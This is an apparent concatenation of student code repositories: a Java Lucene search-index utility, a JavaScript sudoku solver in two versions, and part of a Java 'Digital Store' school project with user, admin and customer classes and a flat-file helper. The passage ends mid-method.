import org.apache.lucene.store.Directory;
import org.apache.lucene.store.FSDirectory;
import org.apache.lucene.store.RAMDirectory;
import org.springframework.core.io.ClassPathResource;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
/**
* Create by tachai on 2019-09-19 10:49
* gitHub https://github.com/TACHAI
* Email <EMAIL>
*/
@Slf4j
public class IndexUtils {
static List<Document> doList = null;
static Document document = null;
static IndexSearcher searcher = null;
static IndexWriter writer = null;
static IndexReader reader = null;
IndexWriter ramWriter = null;
static IndexWriterConfig indexWriterConfig;
public static Analyzer analyzer;
static Directory fsd;
static Path path;
// 静态资源加载,当类加载的时候运行(因为只要加载一次)
static {
log.info("lucene 初始化");
try {
// IKAnalyzer 中文分词器(可扩展)
// 标准分词器:Analyzer analyzer = new StandardAnalyzer();
// new IKAnalyzer(true)表示智能分词
// new IKAnalyzer(false)表示最细粒度分词(默认也是这个)
analyzer = new StandardAnalyzer();
// 使用物理磁盘
// path = Paths.get("mysql/keyword");// 磁盘索引库路径(相对路径)
// fsd = FSDirectory.open(path);// 创建磁盘目录
indexWriterConfig =new IndexWriterConfig(analyzer);
// 使用内存磁盘
fsd = new RAMDirectory();
} catch (Exception e) {
log.error("lucence初始化发生IOException");
e.printStackTrace();
}
}
/**
* 采集数据
*
* @throws IOException
*/
public void createIndex() throws IOException {
// 分词
doList = analyze();
// lucene没有提供相应的更新方法,只能先删除然后在创建新的索引(耗时)
// 由于IndexWriter对象只能实例化一次如果使用内存和磁盘想结合的方式则需要两个IndexWriter故行不通
// 虽然创建的时候耗时但是这样使得文件只有6个 ,搜索时减少了一些io操作加快了搜索速度
writer = deleteAllIndex();
for (Document doc : doList) {
writer.addDocument(doc);
}
writer.commit();
writer.close();
}
/**
* 分词,工具方法
*/
public List<Document> analyze() throws IOException {
doList = new ArrayList<Document>();
File resource = new ClassPathResource("mysql.txt").getFile();
BufferedReader reader = new BufferedReader(new FileReader(resource));
String keyword = null;
while ((keyword = reader.readLine()) != null) {
document = new Document();
Field mysql = new TextField("keyword", keyword, Field.Store.YES);
document.add(mysql);
doList.add(document);
}
if (reader != null) {
reader.close();
}
return doList;
}
/**
* 删除索引库
*
* @throws IOException
*/
public IndexWriter deleteAllIndex() throws IOException {
writer = getWriter();
writer.deleteAll();
return writer;
}
/**
* 获取搜索器
*/
public static IndexSearcher getIndexSearcher(ExecutorService service) throws IOException {
if (null == searcher) {
MultiReader reader = null;
// 写在磁盘上的
String parentPath = "";
//设置
try {
File[] files = new File(parentPath).listFiles();
IndexReader[] readers = new IndexReader[files.length];
for (int i = 0 ; i < files.length ; i ++) {
readers[i] = DirectoryReader.open(FSDirectory.open(Paths.get(files[i].getPath(), new String[0])));
}
reader = new MultiReader(readers);
} catch (IOException e) {
e.printStackTrace();
}
return new IndexSearcher(reader,service);
}
return searcher;
}
/**
* 获取搜索器
*/
public static IndexSearcher getIndexSearcher() throws IOException {
if (null == searcher) {
reader = DirectoryReader.open(fsd);
searcher = new IndexSearcher(reader);
}
return searcher;
}
/**
* 获取磁盘写入
*/
public static IndexWriter getWriter() throws IOException {
if (null == writer) {
// 为什么使用这种new 匿名方式创建该对象 IndexWriterConfig(Version.LUCENE)
// analyzer)
// 因为IndexWriterConfig对象只能使用一次、一次
writer = new IndexWriter(fsd, indexWriterConfig);
}
return writer;
}
/**
* 工具方法
*/
public static List<Document> searchUtil(Query query, IndexSearcher searcher) throws IOException {
List<Document> docList = new ArrayList<Document>();
TopDocs topDocs = searcher.search(query, Integer.MAX_VALUE);
ScoreDoc[] sd = topDocs.scoreDocs;
for (ScoreDoc score : sd) {
int documentId = score.doc;
Document doc = searcher.doc(documentId);
docList.add(doc);
}
return docList;
}
/**
* 给查询的文字上色
*/
public static String displayHtmlHighlight(Query query, Analyzer analyzer, String fieldName, String fieldContent, int fragmentSize) throws IOException, InvalidTokenOffsetsException {
// 创建一个高亮器
Highlighter highlighter = new Highlighter(new SimpleHTMLFormatter("<font style='font-weight:bold;'>", "</font>"),
new QueryScorer(query));
Fragmenter fragmenter = new SimpleFragmenter(fragmentSize);
highlighter.setTextFragmenter(fragmenter);
return highlighter.getBestFragment(analyzer, fieldName, fieldContent);
}
}
| 7164c83e193442f92442596aac0d25efa648d5d8 | [
"Java",
"INI"
] | 4 | Java | TACHAI/learnlucence | 460c49c44bb942bbc1d7c2daa4573e29a5a9e1a4 | 7798088b891c4145569a3f5c3a37afd181d9d233 |
refs/heads/master | <repo_name>godofnoobs/additional_7<file_sep>/src/index.js
var dim = 9;
var reference = [1, 2, 3, 4, 5, 6, 7, 8, 9];
var def = [1, 1, 1, 1, 1, 1, 1, 1, 1];
/*
var initial = [[5, 3, 4, 6, 7, 8, 9, 0, 0],
[6, 7, 2, 1, 9, 5, 3, 4, 8],
[1, 9, 8, 3, 4, 2, 5, 6, 7],
[8, 5, 9, 7, 6, 1, 4, 2, 3],
[4, 2, 6, 8, 5, 3, 7, 9, 1],
[7, 1, 3, 9, 2, 4, 8, 5, 6],
[9, 6, 1, 5, 3, 7, 2, 8, 4],
[2, 8, 7, 4, 1, 9, 6, 3, 5],
[3, 4, 5, 2, 8, 6, 1, 7, 9]
];
*/
module.exports = function solveSudoku(inp) {
// function solveSudoku(inp) {
var matrix = inp;
var res;
var temp;
// Try to make it simple
var newMatrix = copyMatrix(solveTry(matrix), dim);
solveTry(newMatrix);
if (isDone(inp, newMatrix)) return newMatrix;
// Best practice
var newArr = findPairs(newMatrix);
for (var i = 0; i < newArr.length; i++) {
console.log(newArr);
res = recursiveTry(newMatrix, inp, newArr);
if (res) break;
temp = newArr.shift();
newArr.push(temp);
}
// dirty hack for very hard ))
if (!res) {
var newArr = findThrees(newMatrix);
for (var i = 0; i < newArr.length; i++) {
console.log(newArr);
res = recursiveTry(newMatrix, inp, newArr, 2);
if (res) break;
temp = newArr.shift();
newArr.push(temp);
}}
console.log('RESULT');
//for (var i in res) console.log(res[i]);
return res;
}
function coordGetAll(dim) {
var res = [];
for (var i = 0; i < dim; i++)
for (var j = 0; j < dim; j++) {
res.push([i, j]);
}
return res;
}
function getCoordRaw(coord, dim) {
var y = coord[0];
var res = [];
for (var i = 0; i < dim; i++)
res.push([y, i]);
return res;
}
function getCoordCol(coord, dim) {
var x = coord[1];
var res = [];
for (var i = 0; i < dim; i++)
res.push([i, x]);
return res;
}
function getCoordSeg(coord, dim) {
var dim = 3;
var coordSeg = evalCoordSeg(coord);
var x = coordSeg[1];
var y = coordSeg[0];
var res = [];
for (var i = y; i < y + 3; i++)
for (var j = x; j < x + 3; j++)
res.push([i, j]);
return res;
}
function evalCoordSeg(coord) {
var coordSeg = coord.slice().map(function (el) {
return Math.floor(el / 3) * 3;
});
return coordSeg;
}
function findCandidates(coord, cand, matrix, get) {
if (get === 'raw')
var coordArr = getCoordRaw(coord, dim);
else if (get === 'col')
var coordArr = getCoordCol(coord, dim);
else
var coordArr = getCoordSeg(coord, dim);
coordArr.forEach(function (i) {
var el = matrix[i[0]][i[1]];
if (el > 0) {
var position = cand.indexOf(el);
if (position !== -1)
cand.splice(position, 1);
}
});
return cand;
}
function findCandidatesAll(coord, matrix) {
var candidates = reference.slice();
findCandidates(coord, candidates, matrix, 'raw');
findCandidates(coord, candidates, matrix, 'col');
findCandidates(coord, candidates, matrix, 'seg');
return candidates;
}
function findDeficit(coord, matrix, get) {
var ref = reference.slice();
var values = [];
if (get == 'raw')
var coordArr = getCoordRaw(coord, dim);
else if (get == 'col')
var coordArr = getCoordRaw(coord, dim);
else
var coordArr = getCoordSeg(coord, dim);
coordArr.forEach(function (i) {
var y = i[0];
var x = i[1];
var value = matrix[y][x];
if (!(x == coord[1]) || !(y == coord[0])) {
if (value)
values.push(value);
else {
var cand = findCandidatesAll([y, x], matrix);
cand.forEach(function (j) {
values.push(j);
});
}
}
});
return ref.filter(function (i) {
return !(values.indexOf(i) + 1); //!values.includes(i);
});
}
function value2ways(cand, def) {
if (def.length === 1 && cand.indexOf(def[0]) != -1)
return true;
return false;
}
function findPairs(matrix) {
var coordAll = coordGetAll(dim);
var res = [];
for (var i = 0; i < coordAll.length; i++) {
var x = coordAll[i][1];
var y = coordAll[i][0];
if (!matrix[y][x]) {
var temp = findCandidatesAll([y, x], matrix);
if (temp.length === 2) {
var current = [temp, [y, x]];
res.push(current);
//console.log(current);
}
}
}
return res;
}
function findThrees(matrix) {
//alert('Threes');
var coordAll = coordGetAll(dim);
var res = [];
for (var i = 0; i < coordAll.length; i++) {
var x = coordAll[i][1];
var y = coordAll[i][0];
if (!matrix[y][x]) {
var temp = findCandidatesAll([y, x], matrix);
if (temp.length === 3) {
var current = [[temp[0], temp[1]], [y, x]];
res.push(current);
var current = [[temp[2], temp[2]], [y, x]];
res.push(current);
//console.log(current);
}
}
}
return res;
}
function copyMatrix(matrix, dim) {
var res = [];
for (var i = 0; i < dim; i++) {
res.push(matrix[i].slice());
}
return res;
}
function changeArr(matrix, arr) {
var res = [];
for (var i = 0; i < arr.length; i++) {
var x = arr[i][1][1];
var y = arr[i][1][0];
if (!matrix[y][x])
res.push(arr[i]);
}
return res;
}
function recursiveTry(matrix, inp, arr, step) {
if (!step)
var step = 0;
if (step > 5)
return false;
var newMatrix = copyMatrix(solveTry(matrix), dim);
if (!arr) {
var newArr = findPairs(newMatrix);
}
else {
var newArr = changeArr(newMatrix, arr);
}
if (isFilled(newMatrix))
if (isDone(inp, newMatrix)) {
return newMatrix;
}
else
return false;
if (!newArr.length) {
return false;
}
else {
var newMatrix1 = copyMatrix(newMatrix, dim);
var newMatrix2 = copyMatrix(newMatrix, dim);
setTry(newMatrix1, newArr[0][1], newArr[0][0][0]);
setTry(newMatrix1, newArr[0][1], newArr[0][0][1]);
return (recursiveTry(newMatrix1, inp, newArr, step++)) || (recursiveTry(newMatrix2, inp, newArr, step++));
;
}
}
function setTry(matrix, coord, value) {
var x = coord[1];
var y = coord[0];
matrix[y][x] = value;
}
function solveTry(matrix) {
var flagChanged = 1;
var candidates;
var coordAll = coordGetAll(dim);
for (var k = 0; k < dim * dim; k++) {
for (var i = 0; i < coordAll.length; i++) {
flagChanged = 0;
var x = coordAll[i][1];
var y = coordAll[i][0];
if (matrix[y][x] !== 0)
continue;
var candidates = findCandidatesAll([y, x], matrix);
if (candidates.length === 1) {
matrix[y][x] = candidates[0];
flagChanged = 1;
break;
}
var deficit = findDeficit([y, x], matrix, 'row');
if (value2ways(candidates, deficit)) {
matrix[y][x] = deficit[0];
flagChanged = 1;
break;
}
var deficit = findDeficit([y, x], matrix, 'col');
if (value2ways(candidates, deficit)) {
matrix[y][x] = deficit[0];
flagChanged = 1;
break;
}
var deficit = findDeficit([y, x], matrix, 'seg');
if (value2ways(candidates, deficit)) {
matrix[y][x] = deficit[0];
flagChanged = 1;
break;
}
}
if (!flagChanged) {
break;
}
}
//matrix.forEach(function (i) {
//console.log(i);
//});
return matrix;
}
function isDone(init, sudoku) {
if (!sudoku) return false;
for (var i in sudoku) console.log(sudoku[i]);
for (var i = 0; i < 9; i++) {
var r = Math.floor(i / 3) * 3,
c = (i % 3) * 3;
if (
(sudoku[i].reduce((s, v) => s.add(v), new Set()).size != 9) ||
(sudoku.reduce((s, v) => s.add(v[i]), new Set()).size != 9
) ||
(sudoku.slice(r, r + 3).reduce((s, v) => v.slice(c, c + 3).reduce((s, v) => s.add(v), s), new Set()
).size != 9))
{//console.log('false');
return false;
}
}
return init.every((row, rowIndex) => {
return row.every((num, colIndex) => {
console.log('true');
return num === 0 || sudoku[rowIndex][colIndex] === num;
});
});
}
function isFilled(matrix) {
for (var i = 0; i < dim; i++)
for (var j = 0; j < dim; j++) {
if (!matrix[i][j])
return false;
}
return true;
}
function countZeros(matrix) {
var count = 0;
for (var i = 0; i < dim; i++)
for (var j = 0; j < dim; j++)
if (!matrix[i][j])
count++;
return count;
}
//var z = solveSudoku(initial);
//alert(isDone(initial, z));<file_sep>/src/index_old.js
//module.exports = function solveSudoku(m) {
matrix = [
[0, 5, 0, 4, 0, 0, 0, 1, 3],
[0, 2, 6, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 9, 0],
[0, 0, 0, 0, 8, 5, 6, 0, 0],
[1, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 6, 0, 0, 0, 0],
[3, 0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 7, 3, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 5, 0, 0]
];
function solveSudoku(m) {
var dim = 9;
var reference = [1, 2, 3, 4, 5, 6, 7, 8, 9];
var def = [1, 1, 1, 1, 1, 1, 1, 1, 1];
var flagChanged = 1;
var matrix = m;
var candidates;
var coordAll = coordGetAll(dim);
for (var k = 0; k < 81; k++) {
for (var i = 0; i < coordAll.length; i++) {
flagChanged = 0;
var x = coordAll[i][1];
var y = coordAll[i][0];
if (matrix[y][x] !== 0)
continue;
var candidates = findCandidatesAll([y, x]);
if (candidates.length === 1) {
matrix[y][x] = candidates[0];
flagChanged = 1;
break;
}
var deficit = findDeficit([y, x], 'row');
if (value2ways(candidates, deficit)) {
matrix[y][x] = deficit[0];
flagChanged = 1;
break;
}
var deficit = findDeficit([y, x], 'col');
if (value2ways(candidates, deficit)) {
matrix[y][x] = deficit[0];
flagChanged = 1;
break;
}
var deficit = findDeficit([y, x], 'seg');
if (value2ways(candidates, deficit)) {
matrix[y][x] = deficit[0];
flagChanged = 1;
break;
}
}
if (!flagChanged) {
break;
}
}
matrix.forEach(function (i) {
console.log(i);
});
function coordGetAll(dim) {
var res = [];
for (var i = 0; i < dim; i++)
for (var j = 0; j < dim; j++) {
res.push([i, j]);
}
return res;
}
function getCoordRaw(coord, dim) {
var y = coord[0];
var res = [];
for (var i = 0; i < dim; i++)
res.push([y, i]);
return res;
}
function getCoordCol(coord, dim) {
var x = coord[1];
var res = [];
for (var i = 0; i < dim; i++)
res.push([i, x]);
return res;
}
function getCoordSeg(coord, dim) {
var dim = 3;
var coordSeg = evalCoordSeg(coord);
var x = coordSeg[1];
var y = coordSeg[0];
var res = [];
for (var i = y; i < y + 3; i++)
for (var j = x; j < x + 3; j++)
res.push([i, j]);
return res;
}
function evalCoordSeg(coord) {
var coordSeg = coord.slice().map(function (el) {
return Math.floor(el / 3) * 3;
});
return coordSeg;
}
function findCandidates(coord, cand, get) {
if (get == 'raw')
var coordArr = getCoordRaw(coord, dim);
else if (get == 'col')
var coordArr = getCoordCol(coord, dim);
else
var coordArr = getCoordSeg(coord, dim);
coordArr.forEach(function (i) {
var el = matrix[i[0]][i[1]];
if (el > 0) {
var position = cand.indexOf(el);
if (position !== -1)
cand.splice(position, 1);
}
});
return cand;
}
function findCandidatesAll(coord) {
var candidates = reference.slice();
findCandidates(coord, candidates, 'raw');
findCandidates(coord, candidates, 'col');
findCandidates(coord, candidates, 'seg');
return candidates;
}
function findDeficit(coord, get) {
var ref = reference.slice();
var values = [];
if (get == 'raw')
var coordArr = getCoordRaw(coord, dim);
else if (get == 'col')
var coordArr = getCoordRaw(coord, dim);
else
var coordArr = getCoordSeg(coord, dim);
coordArr.forEach(function (i) {
var y = i[0];
var x = i[1];
var value = matrix[y][x];
if (!(x == coord[1]) || !(y == coord[0])) {
if (value)
values.push(value);
else {
var cand = findCandidatesAll([y, x]);
cand.forEach(function (j) {
values.push(j);
});
}
}
});
return ref.filter(function (i) {
return !values.includes(i);
});
}
function value2ways(cand, def) {
if (def.length === 1 && cand.includes(def[0]))
return true;
return false;
}
return matrix;
};
solveSudoku(matrix); | 4594335f412eb530da050839ee94a228ca457995 | [
"JavaScript"
] | 2 | JavaScript | godofnoobs/additional_7 | 5b3577e80f72124e87dfdbbfe2ccc215f928c677 | 6c78df6dd7ac217385f097384a5129b3df95f5f3 |
refs/heads/master | <file_sep>/*
* Authors: <NAME>, Serge
* Date: June 4, 2014
* Assigment: OOP Final Project- Digital Store
* Desription: User class with appropriate attribtutes and methods
*/
package project;
public class User{
private String username;
private String name;
private String email;
private String password;
private String pictureURL;
public User(String user, String n, String e,String pass, String pURL){
username=user;
name = n;
email = e;
password=<PASSWORD>;
pictureURL=pURL;
}
/**
* Gets username of the user
* @return username (String)
**/
public String getUsername(){
return username;
}
/**
* Gets users name
* @return name (String) the full name
**/
public String getName(){
return name;
}
/**
* Gets user's email
* @return email (String) the users email
**/
public String getEmail(){
return email;
}
/**
* Gets user's password
* @return password (String) the users password
**/
public String getPassword(){
return password;
}
/**
* Gets the URL of the profile picture for the user
* return @pictureURl (String) the URL of the picture
*/
public String getProfileURL(){
return pictureURL;
}
/**
* Changes or sets a new password for a user
* @param newPassword (String) the new password to change to
*/
public void changePassword(String newPassword){
password=newPassword;
}
/**
* Changes or sets a new email for the user
* @param newEmail (String) the new email address
*/
public void changeEmail(String newEmail){
email=newEmail;
}
/**
* Changes or sets a new profile picture URL for the user
* @param newPicture (String) the URL of the picture
*/
public void changePicture(String newPicture){
pictureURL=newPicture;
}
}//end of class
<file_sep>/*
* Authors: <NAME>
* Date: June 4, 2014
* Assigment: OOP Final Project- Digital Store
* Desription: admin class with appropriate attribtutes and methods
*/
package project;
public class Administrator extends User{
public Administrator(String user,String nam,String mail, String pass, String pURL){
super(user,nam,mail, pass, pURL);
}
/**Adds a new product to the database, in the sorted position based on its productID
* @param newProduct (Product) the product to add
*/
public void addProduct(Product newProduct) throws Exception{
//retrieves original products list from flat file
Product[] oldProductList=Helper.readProduct();
//creates new array of products that is 1 size larger than the original
Product[] newProductList=new Product[oldProductList.length+1];
int productIndex; //creating an index outside of loop
//copies every element from the old array to the new array, until it reaches the index of where the new product should go
for (productIndex=0; productIndex<oldProductList.length;productIndex++){
if (newProduct.getProductID()>=oldProductList[productIndex].getProductID()){
newProductList[productIndex]=oldProductList[productIndex];
}
else{
break; //breaks when position to insert new product is found
}
}
//adds the new product to the array
newProductList[productIndex]=newProduct;
//continues copying after product has been added
for (int i=productIndex; i<oldProductList.length;i++){
newProductList[i+1]=oldProductList[i];
}
//writes the new product array to the flat file
Helper.writeProduct(newProductList);
}
/**
* Edits the profile of a customer object
* @param type (String) determines the type of attribute to edit in the customer object
* @param username (String) the username of the selected Customer
* @param value (String) the new value of the attribute
*/
public void updateInfoCustomer(String type, String username, String value) throws Exception{
//creating counter to keep track of the index number of the customer in the customer array
int indexOfCustomer=0;
//retrieving the customer array from the customer flat file
Customer[] customerList=Helper.readCustomer();
//cycles through every element in the customer array
for (indexOfCustomer=0;indexOfCustomer<customerList.length;indexOfCustomer++){
//breaks out and saves the index number of the customer with the corresponding username
if (customerList[indexOfCustomer].getUsername().equalsIgnoreCase(username)){
break;
}
}
//Looks at the type of change to be made, and calls the appropriate method from the corresponding customer object
if (type.equalsIgnoreCase("password")){
customerList[indexOfCustomer].changePassword(value);
}
else if (type.equalsIgnoreCase("email")){
customerList[indexOfCustomer].changeEmail(value);
}
else if (type.equalsIgnoreCase("picture")){
customerList[indexOfCustomer].changePicture(value);
}
else if (type.equalsIgnoreCase("address")){
customerList[indexOfCustomer].changeAddress(value);
}
else if (type.equalsIgnoreCase("postal")){
customerList[indexOfCustomer].changePostal(value);
}
else if (type.equalsIgnoreCase("deposit")){
//catches an exception if the parsing to a double doesnt work
try{
double deposit=Double.parseDouble(value);
customerList[indexOfCustomer].addToBalance(deposit);
}catch(Exception e){} //if an exception occurs, simply doesnt do anything
}
//stores the new customer array to the flat file
Helper.writeCustomer(customerList);
}
/**
* Edits information on a product object
* @param type (String) determines the type of attribute to edit in the product object
* @param productID (String) the id of the selected product
* @param value (String) the new value of the attribute
*/
public void updateInfoProduct(String type, String productID, String value) throws Exception{
int ID=Integer.parseInt(productID);
//creating counter to keep track of the index number of the product in the product array
int indexOfProduct=0;
//retrieving the product array from the customer flat file
Product[] productList=Helper.readProduct();
//cycles through every element in the product array
for (indexOfProduct=0;indexOfProduct<productList.length;indexOfProduct++){
//breaks out and saves the index number of the product with the proper id
if ((productList[indexOfProduct].getProductID())==ID){
break;
}
}
//Looks at the type of change to be made, and calls the appropriate method from the corresponding product object
if (type.equalsIgnoreCase("name")){
productList[indexOfProduct].changeName(value);
}
else if (type.equalsIgnoreCase("price")){
//catches exception if parsing of double doesnt go through
try{
double newPrice=Double.parseDouble(value);
productList[indexOfProduct].changePrice(newPrice);
}catch(Exception e){} //no change occurs if exception occurs
}
else if (type.equalsIgnoreCase("addQuantity")){
//catches exception in case parsing fails
try{
int add=Integer.parseInt(value);
productList[indexOfProduct].addQuantity(add);
}catch (Exception e){} //no change occurs if exception occurs
}
else if (type.equalsIgnoreCase("description")){
productList[indexOfProduct].changeDescription(value);
}
else if (type.equalsIgnoreCase("picture")){
productList[indexOfProduct].changePictureURL(value);
}
//stores the new product array to the flat file
Helper.writeProduct(productList);
}
/**
* Edits the profile of a admin object
* @param type (String) determines the type of attribute to edit in the admin object
* @param username (String) the username of the selected admin
* @param value (String) the new value of the attribute
*/
public void updateInfoAdmin(String type, String username, String value) throws Exception{
//creating counter to keep track of the index number of the admin in the admin array
int indexOfAdmin=0;
//retrieving the admin array from the admin flat file
Administrator[] adminList=Helper.readAdmin();
//cycles through every element in the admin array
for (indexOfAdmin=0;indexOfAdmin<adminList.length;indexOfAdmin++){
//breaks out and saves the index number of the admin with the corresponding username
if (adminList[indexOfAdmin].getUsername().equalsIgnoreCase(username)){
break;
}
}
//Looks at the type of change to be made, and calls the appropriate method from the corresponding customer object
if (type.equalsIgnoreCase("password")){
adminList[indexOfAdmin].changePassword(value);
}
else if (type.equalsIgnoreCase("email")){
adminList[indexOfAdmin].changeEmail(value);
}
else if (type.equalsIgnoreCase("picture")){
adminList[indexOfAdmin].changePicture(value);
}
Helper.writeAdmin(adminList); //writes to the flat file to store the changes made
}
/**
* Deletes a customer object from the database and flat file
* @param username (String) the username of the customer to delete
*/
public void deleteCustomer(String username) throws Exception{
//creating counter to keep track of the index number of the customer in the customer array
int indexOfCustomer;
//retrieving the old customer array from the customer flat file
Customer[] oldCustomerList=Helper.readCustomer();
//creating new customer array that is 1 less then the original
Customer[] newCustomerList=new Customer[oldCustomerList.length-1];
//cycles through every element in the customer array
for (indexOfCustomer=0;indexOfCustomer<oldCustomerList.length;indexOfCustomer++){
//copies the elements from the old array to the new one untill it finds the customer with the username to delete
if (!(oldCustomerList[indexOfCustomer].getUsername()).equalsIgnoreCase(username)){
newCustomerList[indexOfCustomer]=oldCustomerList[indexOfCustomer];
}
//when the customer to delete is found, skips copying it and breaks loop
else{
break;
}
}
//continues to copy the rest of the elements back into the array
for (int i=indexOfCustomer;i<oldCustomerList.length-1;i++){
newCustomerList[i]=oldCustomerList[i+1];
}
//writes the new customer array to the flat file
Helper.writeCustomer(newCustomerList);
}
/**
* Deletes a product object from the database and flat file
* @param username (String) the username of the customer to delete
*/
public void deleteProduct(String productID) throws Exception{
//converting the string productID input to an integer
int ID=Integer.parseInt(productID);
//creating counter to keep track of the index number of the product in the product array
int indexOfProduct;
//retrieving the old product array from the product flat file
Product[] oldProductList=Helper.readProduct();
//creating new product array that is 1 less then the original
Product[] newProductList=new Product[oldProductList.length-1];
//cycles through every element in the product array
for (indexOfProduct=0;indexOfProduct<oldProductList.length;indexOfProduct++){
//copies the elements from the old array to the new one untill it finds the customer with the username to delete
if (oldProductList[indexOfProduct].getProductID()!=ID){
newProductList[indexOfProduct]=oldProductList[indexOfProduct];
}
//when the product to delete is found, skips copying it and breaks loop
else{
break;
}
}
//continues to copy the rest of the elements back into the array
for (int i=indexOfProduct;i<oldProductList.length-1;i++){
newProductList[i]=oldProductList[i+1];
}
//writes the new product array to the flat file
Helper.writeProduct(newProductList);
}
}//end of class
<file_sep>/*
* Authors: <NAME>, Serge
* Date: June 4, 2014
* Assigment: OOP Final Project- Digital Store
* Desription: Customer class with appropriate attribtutes and methods
*/
package project;
public class Customer extends User{
private double balance;
private String address;
private String postalCode;
private ShoppingCart shoppingCart;
public Customer(String user, String nam, String mail,String pass, double bal, String add, String postal, String pictureURL) throws Exception{
super(user,nam,mail,pass, pictureURL);
balance = bal;
address = add;
postalCode = postal;
shoppingCart=new ShoppingCart(user);
}
/**
* Gets the customers balance
* @return balance (double) the balance
*/
public double getBalance(){
return Math.round(balance*100.0)/100.0;
}
/**
* Gets the customers address
* @address (String) the address
*/
public String getAddress(){
return address;
}
/**
* Gets the customer's postal code
* @return postalCode (String) the postal code
*/
public String getPostalCode(){
return postalCode;
}
/**
* Gets the customers shopping cart
* @return shoppingCart (ShoppingCart) the shopping cart object
**/
public ShoppingCart getShoppingCart(){
return shoppingCart;
}
/**
* Changes a customers postal code
* @param newPostal (String) the new postalCode to change to
*/
public void changeAddress(String newAddress){
address=newAddress;
}
/**
* Changes a customers postal code
* @param newPostal (String) the new postalCode to change to
*/
public void changePostal(String newPostal){
postalCode=newPostal;
}
/**
* Deposits money into the customers account
* @param a (double) the amount of money to deposit
**/
public void addToBalance(double a){
//only adds to the balance if the value if greater then 0
if(a>0){
balance = balance + a;
}
}
/**
* Withdraws money from the customers account
* @param a (double) the amount of money to withdraw
**/
public void withdrawBalance(double a){
//only withdraws from the balance if the value if greater then 0
if(a>0){
balance = balance - a;
}
}
/**
* Edits the profile of a customer object
* @param type (String) determines the type of attribute to edit in the customer object
* @param username (String) the username of the selected Customer
* @param value (String) the new value of the attribute
*/
public void updateInfoCustomer(String type, String username, String value) throws Exception{
//creating counter to keep track of the index number of the customer in the customer array
int indexOfCustomer=0;
//retrieving the customer array from the customer flat file
Customer[] customerList=Helper.readCustomer();
//cycles through every element in the customer array
for (indexOfCustomer=0;indexOfCustomer<customerList.length;indexOfCustomer++){
//breaks out and saves the index number of the customer with the corresponding username
if (customerList[indexOfCustomer].getUsername().equalsIgnoreCase(username)){
break;
}
}
//Looks at the type of change to be made, and calls the appropriate method from the corresponding customer object
if (type.equalsIgnoreCase("password")){
customerList[indexOfCustomer].changePassword(value);
}
else if (type.equalsIgnoreCase("email")){
customerList[indexOfCustomer].changeEmail(value);
}
else if (type.equalsIgnoreCase("picture")){
customerList[indexOfCustomer].changePicture(value);
}
else if (type.equalsIgnoreCase("address")){
customerList[indexOfCustomer].changeAddress(value);
}
else if (type.equalsIgnoreCase("postal")){
customerList[indexOfCustomer].changePostal(value);
}
else if (type.equalsIgnoreCase("deposit")){
try{
double deposit=Double.parseDouble(value);
customerList[indexOfCustomer].addToBalance(deposit);
}catch (Exception e){} //simply doesnt add if an exception occurs
}
Helper.writeCustomer(customerList); //writes to the flat file to store the changes made
}
} //end of class
<file_sep>/*
* Authors: <NAME>
* Date: June 4, 2014
* Assigment: OOP Final Project- Digital Store
* Desription: The helper class containing static methods for use with the jsp files
*/
package project;
import java.io.PrintWriter;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.FileNotFoundException;
import java.util.*;
public class Helper {
/**
* Adds a new customer to the flat file
* @param newCustomer (Customer) the customer to add to the flatfile or databse
*/
public static void addCustomer(Customer newCustomer) throws Exception{
//retrieves original customer list from flat file
Customer[] oldCustomerList=readCustomer();
//creates new array of customers that is 1 size larger than the original
Customer[] newCustomerList=new Customer[oldCustomerList.length+1];
//copies every element from the old array to the new array
for (int i=0; i<oldCustomerList.length;i++){
newCustomerList[i]=oldCustomerList[i];
}
//adds the new customer to the end of the array
newCustomerList[oldCustomerList.length]=newCustomer; //adds the new customer to the end of the array
//writes the new customer list to the flat file
writeCustomer(newCustomerList);
}
/**
* Checks whether the admin login credentials exist in the database
* @param username (String) the username of the admin
* @param password (String) the password of the admin
* @return true (boolean) if both username and password exist in database
*/
public static boolean adminLogin(String username, String password) throws Exception{
//creating array of administrators from the flat file
Administrator[] adminBase=readAdmin();
//cycling through every admin element
for (int i=0; i<adminBase.length;i++){
//checks whether both username and password are correct
if (username.equalsIgnoreCase(adminBase[i].getUsername()) && password.equalsIgnoreCase(adminBase[i].getPassword())){
return true;
}
}
return false; //returns false if either the username doesnt exist or password is incorrect
}
/**
* Checks whether the customer login credentials exist in the database
* @param username (String) the username of the customer
* @param password (String) the password of the customer
* @return true (boolean) if both username and password exist in database
*/
public static boolean customerLogin(String username, String password) throws Exception{
//creating array of customers from the flat file
Customer[] customerBase=readCustomer();
//cycling through every customer element
for (int i=0; i<customerBase.length;i++){
if (username.equalsIgnoreCase(customerBase[i].getUsername()) && password.equalsIgnoreCase(customerBase[i].getPassword())){
return true;
}
}
return false; //returns false if either the username doesnt exist or password is incorrect
}
/**
* Returns an array of products that are all from a certain category
* @param id (int) the cateogory id
* @return categoryList (Product[]) the array of products
*/
public static Product[] categoryList(int id) throws Exception{
//creating an array of products from the database stored in the flat file
Product[] productList = Helper.readProduct();
//initializing arrays
Product[] categoryList = new Product [0];
Product[] temp = new Product[0];
//if the category is not view all
if(id > 0){
//loops through every element in the array
for (int i = 0; i< productList.length; i++) {
//if the product has a product ID matching the interval of a certain cateogory (ie book products have id of 1-10000)
if((productList[i].getProductID()<=id)&&(productList[i].getProductID()>id-10000)){
//adding the product to the category List individually
temp = categoryList;
//increasing size of array by 1
categoryList = new Product[categoryList.length +1];
//copying all old elements
for(int j = 0; j < temp.length;j++){
categoryList[j] = temp[j];
}
//adding the element to the end of the list
categoryList[categoryList.length-1] = productList[i];
}
}
}
//if the category is view all
else if (id == 0){
categoryList = productList; //sets the list to contain all products in database
}
return categoryList; //returns the list
}
/**
* Searches for and retrieves an administrator object by username
* @username (String) the username of the admin
* @return adminList[i] (Administrator) the administrator that matches the username search
*/
public static Administrator findAdmin (String username) throws Exception{
//creating an array to hold the admin database
Administrator[] adminList=readAdmin();
//cycles through every element in the database
for (int i=0; i<adminList.length;i++){
